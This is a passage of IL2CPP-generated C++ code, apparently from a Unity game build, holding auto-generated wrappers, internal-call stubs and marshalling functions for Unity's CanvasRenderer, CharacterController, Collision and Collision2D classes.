/*static, unused*/, L_0, L_1, L_2, L_3, L_4, L_5, L_6, L_7, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object) extern "C" void CanvasRenderer_CreateUIVertexStreamInternal_m2886336395 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___verts0, Il2CppObject * ___positions1, Il2CppObject * ___colors2, Il2CppObject * ___uv0S3, Il2CppObject * ___uv1S4, Il2CppObject * ___normals5, Il2CppObject * ___tangents6, Il2CppObject * ___indicies7, const MethodInfo* method) { typedef void (*CanvasRenderer_CreateUIVertexStreamInternal_m2886336395_ftn) (Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *, Il2CppObject *); static CanvasRenderer_CreateUIVertexStreamInternal_m2886336395_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_CreateUIVertexStreamInternal_m2886336395_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::CreateUIVertexStreamInternal(System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object,System.Object)"); _il2cpp_icall_func(___verts0, ___positions1, ___colors2, ___uv0S3, ___uv1S4, ___normals5, ___tangents6, ___indicies7); } // System.Void UnityEngine.CanvasRenderer::AddUIVertexStream(System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1,System.Collections.Generic.List`1) extern "C" void CanvasRenderer_AddUIVertexStream_m1334037553 (Il2CppObject * __this /* static, unused */, List_1_t573379950 * ___verts0, List_1_t1612828712 * ___positions1, List_1_t243638650 * ___colors2, List_1_t1612828711 * ___uv0S3, List_1_t1612828711 * ___uv1S4, List_1_t1612828712 * ___normals5, List_1_t1612828713 * ___tangents6, const MethodInfo* method) { { List_1_t573379950 * L_0 = ___verts0; List_1_t1612828712 * L_1 = ___positions1; List_1_t243638650 * L_2 = ___colors2; List_1_t1612828711 * L_3 = ___uv0S3; List_1_t1612828711 * L_4 = ___uv1S4; List_1_t1612828712 * L_5 = ___normals5; List_1_t1612828713 * L_6 = ___tangents6; CanvasRenderer_SplitUIVertexStreamsInternal_m729405782(NULL /*static, unused*/, L_0, L_1, L_2, L_3, L_4, L_5, L_6, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.CanvasRenderer::get_cull() extern "C" bool CanvasRenderer_get_cull_m3577089379 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef bool (*CanvasRenderer_get_cull_m3577089379_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_get_cull_m3577089379_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_get_cull_m3577089379_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_cull()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.CanvasRenderer::set_cull(System.Boolean) extern "C" void CanvasRenderer_set_cull_m1437892490 (CanvasRenderer_t261436805 * __this, bool ___value0, const MethodInfo* method) { typedef void (*CanvasRenderer_set_cull_m1437892490_ftn) (CanvasRenderer_t261436805 *, bool); static CanvasRenderer_set_cull_m1437892490_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_set_cull_m1437892490_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::set_cull(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Int32 UnityEngine.CanvasRenderer::get_absoluteDepth() extern "C" int32_t CanvasRenderer_get_absoluteDepth_m4243141 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef int32_t (*CanvasRenderer_get_absoluteDepth_m4243141_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_get_absoluteDepth_m4243141_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_get_absoluteDepth_m4243141_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_absoluteDepth()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.CanvasRenderer::get_hasMoved() extern "C" bool CanvasRenderer_get_hasMoved_m2428030996 (CanvasRenderer_t261436805 * __this, const MethodInfo* method) { typedef bool (*CanvasRenderer_get_hasMoved_m2428030996_ftn) (CanvasRenderer_t261436805 *); static CanvasRenderer_get_hasMoved_m2428030996_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CanvasRenderer_get_hasMoved_m2428030996_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CanvasRenderer::get_hasMoved()"); return _il2cpp_icall_func(__this); } // UnityEngine.CollisionFlags UnityEngine.CharacterController::Move(UnityEngine.Vector3) extern "C" int32_t CharacterController_Move_m3456882757 (CharacterController_t4094781467 * __this, Vector3_t2243707580 ___motion0, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = CharacterController_INTERNAL_CALL_Move_m2826125634(NULL /*static, unused*/, __this, (&___motion0), /*hidden argument*/NULL); V_0 = L_0; goto IL_000f; } IL_000f: { int32_t L_1 = V_0; return L_1; } } // UnityEngine.CollisionFlags UnityEngine.CharacterController::INTERNAL_CALL_Move(UnityEngine.CharacterController,UnityEngine.Vector3&) extern "C" int32_t CharacterController_INTERNAL_CALL_Move_m2826125634 (Il2CppObject * __this /* static, unused */, CharacterController_t4094781467 * ___self0, Vector3_t2243707580 * ___motion1, const MethodInfo* method) { typedef int32_t (*CharacterController_INTERNAL_CALL_Move_m2826125634_ftn) (CharacterController_t4094781467 *, Vector3_t2243707580 *); static CharacterController_INTERNAL_CALL_Move_m2826125634_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CharacterController_INTERNAL_CALL_Move_m2826125634_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CharacterController::INTERNAL_CALL_Move(UnityEngine.CharacterController,UnityEngine.Vector3&)"); return _il2cpp_icall_func(___self0, ___motion1); } // System.Boolean UnityEngine.CharacterController::get_isGrounded() extern "C" bool CharacterController_get_isGrounded_m2594228107 (CharacterController_t4094781467 * __this, const MethodInfo* method) { typedef bool (*CharacterController_get_isGrounded_m2594228107_ftn) (CharacterController_t4094781467 *); static CharacterController_get_isGrounded_m2594228107_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CharacterController_get_isGrounded_m2594228107_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CharacterController::get_isGrounded()"); return _il2cpp_icall_func(__this); } // UnityEngine.Vector3 UnityEngine.CharacterController::get_velocity() extern "C" Vector3_t2243707580 CharacterController_get_velocity_m1484936086 (CharacterController_t4094781467 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); Vector3_t2243707580 V_1; memset(&V_1, 0, sizeof(V_1)); { CharacterController_INTERNAL_get_velocity_m3465973477(__this, (&V_0), /*hidden argument*/NULL); Vector3_t2243707580 L_0 = V_0; V_1 = L_0; goto IL_0010; } IL_0010: { Vector3_t2243707580 L_1 = V_1; return L_1; } } // System.Void UnityEngine.CharacterController::INTERNAL_get_velocity(UnityEngine.Vector3&) extern "C" void CharacterController_INTERNAL_get_velocity_m3465973477 (CharacterController_t4094781467 * __this, Vector3_t2243707580 * ___value0, const MethodInfo* method) { typedef void (*CharacterController_INTERNAL_get_velocity_m3465973477_ftn) (CharacterController_t4094781467 *, Vector3_t2243707580 *); static CharacterController_INTERNAL_get_velocity_m3465973477_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CharacterController_INTERNAL_get_velocity_m3465973477_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CharacterController::INTERNAL_get_velocity(UnityEngine.Vector3&)"); _il2cpp_icall_func(__this, ___value0); } // System.Single UnityEngine.CharacterController::get_radius() extern "C" float CharacterController_get_radius_m2751828411 (CharacterController_t4094781467 * __this, const MethodInfo* method) { typedef float (*CharacterController_get_radius_m2751828411_ftn) (CharacterController_t4094781467 *); static CharacterController_get_radius_m2751828411_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CharacterController_get_radius_m2751828411_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.CharacterController::get_radius()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Collections.DeallocateOnJobCompletionAttribute::.ctor() extern "C" void DeallocateOnJobCompletionAttribute__ctor_m2925527080 (DeallocateOnJobCompletionAttribute_t987733588 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.NativeContainerAttribute::.ctor() extern "C" void NativeContainerAttribute__ctor_m4019964704 (NativeContainerAttribute_t269240268 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.NativeContainerSupportsAtomicWriteAttribute::.ctor() extern "C" void NativeContainerSupportsAtomicWriteAttribute__ctor_m2159648322 (NativeContainerSupportsAtomicWriteAttribute_t3267933728 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.NativeContainerSupportsMinMaxWriteRestrictionAttribute::.ctor() extern "C" void NativeContainerSupportsMinMaxWriteRestrictionAttribute__ctor_m1580327459 (NativeContainerSupportsMinMaxWriteRestrictionAttribute_t1288953595 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.ReadOnlyAttribute::.ctor() extern "C" void ReadOnlyAttribute__ctor_m1597711262 (ReadOnlyAttribute_t689702060 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.ReadWriteAttribute::.ctor() extern "C" void ReadWriteAttribute__ctor_m2566248501 (ReadWriteAttribute_t3403607913 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Collections.WriteOnlyAttribute::.ctor() extern "C" void WriteOnlyAttribute__ctor_m3761552155 (WriteOnlyAttribute_t14323075 * __this, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Rigidbody UnityEngine.Collider::get_attachedRigidbody() extern "C" Rigidbody_t4233889191 * Collider_get_attachedRigidbody_m3279305420 (Collider_t3497673348 * __this, const MethodInfo* method) { typedef Rigidbody_t4233889191 * (*Collider_get_attachedRigidbody_m3279305420_ftn) (Collider_t3497673348 *); static Collider_get_attachedRigidbody_m3279305420_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Collider_get_attachedRigidbody_m3279305420_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Collider::get_attachedRigidbody()"); return _il2cpp_icall_func(__this); } // Conversion methods for marshalling of: UnityEngine.Collision extern "C" void Collision_t2876846408_marshal_pinvoke(const Collision_t2876846408& unmarshaled, Collision_t2876846408_marshaled_pinvoke& marshaled) { Il2CppCodeGenException* ___m_Rigidbody_2Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Rigidbody' of type 'Collision': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Rigidbody_2Exception); } extern "C" void Collision_t2876846408_marshal_pinvoke_back(const Collision_t2876846408_marshaled_pinvoke& marshaled, Collision_t2876846408& unmarshaled) { Il2CppCodeGenException* ___m_Rigidbody_2Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Rigidbody' of type 'Collision': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Rigidbody_2Exception); } // Conversion method for clean up from marshalling of: UnityEngine.Collision extern "C" void Collision_t2876846408_marshal_pinvoke_cleanup(Collision_t2876846408_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Collision extern "C" void Collision_t2876846408_marshal_com(const Collision_t2876846408& unmarshaled, Collision_t2876846408_marshaled_com& marshaled) { Il2CppCodeGenException* ___m_Rigidbody_2Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Rigidbody' of type 'Collision': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Rigidbody_2Exception); } extern "C" void Collision_t2876846408_marshal_com_back(const Collision_t2876846408_marshaled_com& marshaled, Collision_t2876846408& unmarshaled) { Il2CppCodeGenException* ___m_Rigidbody_2Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Rigidbody' of type 'Collision': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Rigidbody_2Exception); } // Conversion method for clean up from marshalling of: UnityEngine.Collision extern "C" void Collision_t2876846408_marshal_com_cleanup(Collision_t2876846408_marshaled_com& marshaled) { } // System.Void UnityEngine.Collision::.ctor() extern "C" void Collision__ctor_m635081107 (Collision_t2876846408 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Vector3 UnityEngine.Collision::get_relativeVelocity() extern "C" Vector3_t2243707580 Collision_get_relativeVelocity_m2302609283 (Collision_t2876846408 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_RelativeVelocity_1(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Rigidbody UnityEngine.Collision::get_rigidbody() extern "C" Rigidbody_t4233889191 * Collision_get_rigidbody_m3671561778 (Collision_t2876846408 * __this, const MethodInfo* method) { Rigidbody_t4233889191 * V_0 = NULL; { Rigidbody_t4233889191 * L_0 = __this->get_m_Rigidbody_2(); V_0 = L_0; goto IL_000d; } IL_000d: { Rigidbody_t4233889191 * L_1 = V_0; return L_1; } } // UnityEngine.Collider UnityEngine.Collision::get_collider() extern "C" Collider_t3497673348 * Collision_get_collider_m3340328360 (Collision_t2876846408 * __this, const MethodInfo* method) { Collider_t3497673348 * V_0 = NULL; { Collider_t3497673348 * L_0 = __this->get_m_Collider_3(); V_0 = L_0; goto IL_000d; } IL_000d: { Collider_t3497673348 * L_1 = V_0; return L_1; } } // UnityEngine.Transform UnityEngine.Collision::get_transform() extern "C" Transform_t3275118058 * Collision_get_transform_m4132935520 (Collision_t2876846408 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision_get_transform_m4132935520_MetadataUsageId); s_Il2CppMethodInitialized = true; } Transform_t3275118058 * V_0 = NULL; Transform_t3275118058 * G_B3_0 = NULL; { Rigidbody_t4233889191 * L_0 = Collision_get_rigidbody_m3671561778(__this, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_1 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_0, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); if (!L_1) { goto IL_0022; } } { Rigidbody_t4233889191 * L_2 = Collision_get_rigidbody_m3671561778(__this, /*hidden argument*/NULL); NullCheck(L_2); Transform_t3275118058 * L_3 = Component_get_transform_m2697483695(L_2, /*hidden argument*/NULL); G_B3_0 = L_3; goto IL_002d; } IL_0022: { Collider_t3497673348 * L_4 = Collision_get_collider_m3340328360(__this, /*hidden argument*/NULL); NullCheck(L_4); Transform_t3275118058 * L_5 = Component_get_transform_m2697483695(L_4, /*hidden argument*/NULL); G_B3_0 = L_5; } IL_002d: { V_0 = G_B3_0; goto IL_0033; } IL_0033: { Transform_t3275118058 * L_6 = V_0; return L_6; } } // UnityEngine.GameObject UnityEngine.Collision::get_gameObject() extern "C" GameObject_t1756533147 * Collision_get_gameObject_m1370363400 (Collision_t2876846408 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision_get_gameObject_m1370363400_MetadataUsageId); s_Il2CppMethodInitialized = true; } GameObject_t1756533147 * V_0 = NULL; GameObject_t1756533147 * G_B3_0 = NULL; { Rigidbody_t4233889191 * L_0 = __this->get_m_Rigidbody_2(); IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_1 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_0, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); if (!L_1) { goto IL_0022; } } { Rigidbody_t4233889191 * L_2 = __this->get_m_Rigidbody_2(); NullCheck(L_2); GameObject_t1756533147 * L_3 = Component_get_gameObject_m3105766835(L_2, /*hidden argument*/NULL); G_B3_0 = L_3; goto IL_002d; } IL_0022: { Collider_t3497673348 * L_4 = __this->get_m_Collider_3(); NullCheck(L_4); GameObject_t1756533147 * L_5 = Component_get_gameObject_m3105766835(L_4, /*hidden argument*/NULL); G_B3_0 = L_5; } IL_002d: { V_0 = G_B3_0; goto IL_0033; } IL_0033: { GameObject_t1756533147 * L_6 = V_0; return L_6; } } // UnityEngine.ContactPoint[] UnityEngine.Collision::get_contacts() extern "C" ContactPointU5BU5D_t1084937515* Collision_get_contacts_m266635379 (Collision_t2876846408 * __this, const MethodInfo* method) { ContactPointU5BU5D_t1084937515* V_0 = NULL; { ContactPointU5BU5D_t1084937515* L_0 = __this->get_m_Contacts_4(); V_0 = L_0; goto IL_000d; } IL_000d: { ContactPointU5BU5D_t1084937515* L_1 = V_0; return L_1; } } // System.Collections.IEnumerator UnityEngine.Collision::GetEnumerator() extern "C" Il2CppObject * Collision_GetEnumerator_m4009889947 (Collision_t2876846408 * __this, const MethodInfo* method) { Il2CppObject * V_0 = NULL; { ContactPointU5BU5D_t1084937515* L_0 = Collision_get_contacts_m266635379(__this, /*hidden argument*/NULL); NullCheck((Il2CppArray *)(Il2CppArray *)L_0); Il2CppObject * L_1 = Array_GetEnumerator_m2284404958((Il2CppArray *)(Il2CppArray *)L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Il2CppObject * L_2 = V_0; return L_2; } } // UnityEngine.Vector3 UnityEngine.Collision::get_impulse() extern "C" Vector3_t2243707580 Collision_get_impulse_m1836134987 (Collision_t2876846408 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Impulse_0(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Vector3 UnityEngine.Collision::get_impactForceSum() extern "C" Vector3_t2243707580 Collision_get_impactForceSum_m521972354 (Collision_t2876846408 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = Collision_get_relativeVelocity_m2302609283(__this, /*hidden argument*/NULL); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Vector3 UnityEngine.Collision::get_frictionForceSum() extern "C" Vector3_t2243707580 Collision_get_frictionForceSum_m3438602686 (Collision_t2876846408 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = Vector3_get_zero_m1527993324(NULL /*static, unused*/, /*hidden argument*/NULL); V_0 = L_0; goto IL_000c; } IL_000c: { Vector3_t2243707580 L_1 = V_0; return L_1; } } // UnityEngine.Component UnityEngine.Collision::get_other() extern "C" Component_t3819376471 * Collision_get_other_m4238363497 (Collision_t2876846408 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision_get_other_m4238363497_MetadataUsageId); s_Il2CppMethodInitialized = true; } Component_t3819376471 * V_0 = NULL; Rigidbody_t4233889191 * G_B3_0 = NULL; { Rigidbody_t4233889191 * L_0 = __this->get_m_Rigidbody_2(); IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_1 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_0, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); if (!L_1) { goto IL_001d; } } { Rigidbody_t4233889191 * L_2 = __this->get_m_Rigidbody_2(); G_B3_0 = L_2; goto IL_0023; } IL_001d: { Collider_t3497673348 * L_3 = __this->get_m_Collider_3(); G_B3_0 = ((Rigidbody_t4233889191 *)(L_3)); } IL_0023: { V_0 = G_B3_0; goto IL_0029; } IL_0029: { Component_t3819376471 * L_4 = V_0; return L_4; } } // Conversion methods for marshalling of: UnityEngine.Collision2D extern "C" void Collision2D_t1539500754_marshal_pinvoke(const Collision2D_t1539500754& unmarshaled, Collision2D_t1539500754_marshaled_pinvoke& marshaled) { Il2CppCodeGenException* ___m_Contacts_4Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Contacts' of type 'Collision2D'."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Contacts_4Exception); } extern "C" void Collision2D_t1539500754_marshal_pinvoke_back(const Collision2D_t1539500754_marshaled_pinvoke& marshaled, Collision2D_t1539500754& unmarshaled) { Il2CppCodeGenException* ___m_Contacts_4Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Contacts' of type 'Collision2D'."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Contacts_4Exception); } // Conversion method for clean up from marshalling of: UnityEngine.Collision2D extern "C" void Collision2D_t1539500754_marshal_pinvoke_cleanup(Collision2D_t1539500754_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Collision2D extern "C" void Collision2D_t1539500754_marshal_com(const Collision2D_t1539500754& unmarshaled, Collision2D_t1539500754_marshaled_com& marshaled) { Il2CppCodeGenException* ___m_Contacts_4Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Contacts' of type 'Collision2D'."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Contacts_4Exception); } extern "C" void Collision2D_t1539500754_marshal_com_back(const Collision2D_t1539500754_marshaled_com& marshaled, Collision2D_t1539500754& unmarshaled) { Il2CppCodeGenException* ___m_Contacts_4Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_Contacts' of type 'Collision2D'."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_Contacts_4Exception); } // Conversion method for clean up from marshalling of: UnityEngine.Collision2D extern "C" void Collision2D_t1539500754_marshal_com_cleanup(Collision2D_t1539500754_marshaled_com& marshaled) { } // System.Void UnityEngine.Collision2D::.ctor() extern "C" void Collision2D__ctor_m2559810705 (Collision2D_t1539500754 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // UnityEngine.Collider2D UnityEngine.Collision2D::get_collider() extern "C" Collider2D_t646061738 * Collision2D_get_collider_m3330356936 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_collider_m3330356936_MetadataUsageId); s_Il2CppMethodInitialized = true; } Collider2D_t646061738 * V_0 = NULL; { int32_t L_0 = __this->get_m_Collider_0(); IL2CPP_RUNTIME_CLASS_INIT(Physics2D_t2540166467_il2cpp_TypeInfo_var); Collider2D_t646061738 * L_1 = Physics2D_GetColliderFromInstanceID_m95920619(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Collider2D_t646061738 * L_2 = V_0; return L_2; } } // UnityEngine.Collider2D UnityEngine.Collision2D::get_otherCollider() extern "C" Collider2D_t646061738 * Collision2D_get_otherCollider_m4079883492 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_otherCollider_m4079883492_MetadataUsageId); s_Il2CppMethodInitialized = true; } Collider2D_t646061738 * V_0 = NULL; { int32_t L_0 = __this->get_m_OtherCollider_1(); IL2CPP_RUNTIME_CLASS_INIT(Physics2D_t2540166467_il2cpp_TypeInfo_var); Collider2D_t646061738 * L_1 = Physics2D_GetColliderFromInstanceID_m95920619(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Collider2D_t646061738 * L_2 = V_0; return L_2; } } // UnityEngine.Rigidbody2D UnityEngine.Collision2D::get_rigidbody() extern "C" Rigidbody2D_t502193897 * Collision2D_get_rigidbody_m4058558226 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_rigidbody_m4058558226_MetadataUsageId); s_Il2CppMethodInitialized = true; } Rigidbody2D_t502193897 * V_0 = NULL; { int32_t L_0 = __this->get_m_Rigidbody_2(); IL2CPP_RUNTIME_CLASS_INIT(Physics2D_t2540166467_il2cpp_TypeInfo_var); Rigidbody2D_t502193897 * L_1 = Physics2D_GetRigidbodyFromInstanceID_m3260338451(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Rigidbody2D_t502193897 * L_2 = V_0; return L_2; } } // UnityEngine.Rigidbody2D UnityEngine.Collision2D::get_otherRigidbody() extern "C" Rigidbody2D_t502193897 * Collision2D_get_otherRigidbody_m1518790444 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_otherRigidbody_m1518790444_MetadataUsageId); s_Il2CppMethodInitialized = true; } Rigidbody2D_t502193897 * V_0 = NULL; { int32_t L_0 = __this->get_m_OtherRigidbody_3(); IL2CPP_RUNTIME_CLASS_INIT(Physics2D_t2540166467_il2cpp_TypeInfo_var); Rigidbody2D_t502193897 * L_1 = Physics2D_GetRigidbodyFromInstanceID_m3260338451(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_0012; } IL_0012: { Rigidbody2D_t502193897 * L_2 = V_0; return L_2; } } // UnityEngine.Transform UnityEngine.Collision2D::get_transform() extern "C" Transform_t3275118058 * Collision2D_get_transform_m314016758 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_transform_m314016758_MetadataUsageId); s_Il2CppMethodInitialized = true; } Transform_t3275118058 * V_0 = NULL; Transform_t3275118058 * G_B3_0 = NULL; { Rigidbody2D_t502193897 * L_0 = Collision2D_get_rigidbody_m4058558226(__this, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_1 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_0, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); if (!L_1) { goto IL_0022; } } { Rigidbody2D_t502193897 * L_2 = Collision2D_get_rigidbody_m4058558226(__this, /*hidden argument*/NULL); NullCheck(L_2); Transform_t3275118058 * L_3 = Component_get_transform_m2697483695(L_2, /*hidden argument*/NULL); G_B3_0 = L_3; goto IL_002d; } IL_0022: { Collider2D_t646061738 * L_4 = Collision2D_get_collider_m3330356936(__this, /*hidden argument*/NULL); NullCheck(L_4); Transform_t3275118058 * L_5 = Component_get_transform_m2697483695(L_4, /*hidden argument*/NULL); G_B3_0 = L_5; } IL_002d: { V_0 = G_B3_0; goto IL_0033; } IL_0033: { Transform_t3275118058 * L_6 = V_0; return L_6; } } // UnityEngine.GameObject UnityEngine.Collision2D::get_gameObject() extern "C" GameObject_t1756533147 * Collision2D_get_gameObject_m4234358314 (Collision2D_t1539500754 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Collision2D_get_gameObject_m4234358314_MetadataUsageId); s_Il2CppMethodInitialized = true; } GameObject_t1756533147 * V_0 = NULL; GameObject_t1756533147 * G_B3_0 = NULL; { Rigidbody2D_t502193897 * L_0 = Collision2D_get_rigidbody_m4058558226(__this, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Object_t1021602117_il2cpp_TypeInfo_var); bool L_1 = Object_op_Inequality_m2402264703(NULL /*static, unused*/, L_0, (Object_t1021602117 *)NULL, /*hidden argument*/NULL); if (!L_1) { goto IL_0022; } } { Rigidbody2D_t502193897 * L_2 = Collision2D_get_rigidbody_m4058558226(__this, /*hidden argument*/NULL); NullCheck(L_2); GameObject_t1756533147 * L_3 = Component_get_gameObject_m3105766835(L_2, /*hidden argument*/NULL); G_B3_0 = L_3; goto IL_002d; } IL_0022: { Collider2D_t646061738 * L_4 = Collision2D_get_collider_m3330356936(__this, /*hidden argument*/NULL); NullCheck(L_4); GameObject_t1756533147 * L_5 = Component_get_gameObject_m3105766835(L_4, /*hidden argument*/NULL); G_B3_0 = L_5; } IL_002d: { V_0 = G_B3_0; goto IL_0033; } IL_0033: { GameObject_t1756533147 * L_6 = V_0; return L_6; } } // UnityEngine.ContactPoint2D[] UnityEngine.Collision2D::get_contacts() extern "C" ContactPoint2DU5BU5D_t1215651809* Collision2D_get_contacts_m2230578195 (Collision2D_t1539500754 * __this, const MethodInfo* method) { ContactPoint2DU5BU5D_t1215651809* V_0 = 